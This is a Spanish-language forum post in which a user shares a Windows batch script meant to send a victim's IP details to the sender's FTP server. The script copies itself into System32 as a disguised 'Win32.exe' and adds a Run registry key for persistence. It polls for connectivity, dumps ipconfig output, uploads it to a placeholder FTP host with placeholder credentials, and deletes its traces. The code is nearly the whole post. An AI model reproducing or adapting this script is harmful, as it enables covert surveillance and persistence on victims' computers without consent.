Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar....
Te paso el kode:
@echo off
copy /y %0 C:\Windows\System32\Win32.exe
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\Win32.exe"
:mira
ping www.google.es > C:\Windows\System32\ping.txt
For /F "skip=3 Tokens=1 Delims= " %%A IN (C:\Windows\System32\ping.txt) do set ips=%%A
IF %ips%==M¡nimo (set q=siconec ) else (set q=noconec)
if %q%==siconec (goto ftp) else (goto torna)
:ftp
ipconfig /all > C:\Windows\System32\ip.txt
echo TUNOMBRE > C:\Windows\System32\datos.txt
echo TUPASS >> C:\Windows\System32\datos.txt
echo put C:\Windows\System32\datos.txt datos.txt >> C:\Windows\System32\datos.txt
echo put >> C:\Windows\System32\ip.txt %username%.txt >> C:\Windows\System32\datos.txt
echo bye >> C:\Windows\System32\datos.txt
ftp -s:C:\Windows\System32\datos.txt ftp.TUFTP.com
goto fin
:torna
ping 127.0.0.1 -n 50
goto mira
:fin
del /s /q C:\Windows\System32\ping.txt
del /s /q C:\Windows\System32\datos.txt
del /s /q C:\Windows\System32\ip.txt
exit
Espero que te sirva, es algo komplikadillo, pero weno.
Salu2
Hendrix